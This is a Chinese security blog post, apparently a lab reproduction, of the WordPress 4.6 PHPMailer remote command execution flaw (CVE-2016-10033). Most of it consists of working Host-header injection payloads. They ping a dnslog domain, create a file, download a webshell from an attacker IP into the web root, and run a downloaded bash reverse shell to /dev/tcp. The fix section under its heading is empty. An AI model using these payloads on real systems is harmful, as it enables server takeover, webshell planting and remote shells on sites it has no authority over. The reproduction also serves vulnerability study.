freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Wordpress 4.6 任意命令执行漏洞(PwnScriptum)CVE-2016-10033 漏洞
2022-01-11 12:57:35
所属地 广东省

WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。
WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。
WordPress有许多第三方开发的免费模板,安装方式简单易用。不过要做一个自己的模板,则需要你有一定的专业知识。比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。

0x01 漏洞介绍

WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(本 <5,2.18)存在远程命令执行漏洞,攻击者只需巧炒地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危書。

沉洞利用条件:

不能包含特殊字符

命令需为小写

命令需使用绝对路径

需要知道现有用户名

注意点:命令只在服务器端执行命令、不会显示在容户端

0x02影响版本

WordPress <= 4.6 PHPMailer < 5.2.18

0x03 搭建环境

vulhub环境

0x04 漏洞复现

漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword:

在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE

登录页点击忘记密码,在用户名或电子邮件地址输入框输入fhy666(我注册时填的是fhy666)。点击获取新密码,使用burp拦截抓包。

修改请求头Host的值:

payload:edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}u4ljiq.dnslog.cn}} null)

执行后发现dnslog接收,证明命令执行成功漏洞存在

创建一个success文件

payload:aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)


已经创建成功

写入webshell

利用的是curl或wget命令下载远程文件,比如下载一个webshell,再用webshell工具连接。注意:

  • 远程 URL 中不能有 http://
  • 所有字母必须小写
payload:aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}192.168.198.13${substr{0}{1}{$spool_directory}}1.txt}} null)

上面的payload意思是:从192.168.198.13这个地址,下载1.txt,保存到靶机的/var/www/html下,并命名为shell.php。

蚁剑成功连接,webshell写入成功。

反弹shell

利用的思想跟写入webshell差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的。

利用步骤:

  1. 发送payload使靶机下载1.txt,并保存到/tmp/shell
  2. 在攻击机上监听9999端口
  1. 发送payload使靶机运行shell

将bash -i >& /dev/tcp/192.168.18.128/9999 0>&1写入到攻击机1.txt中。

发送payload,下载1.txt到靶机/tmp/shell。

payload:aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.198.13${substr{0}{1}{$spool_directory}}1.txt}}null)


攻击端监听9999端口。

发送payload运行shell:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)


漏洞修复

# WordPress漏洞 # Wordpress插件漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录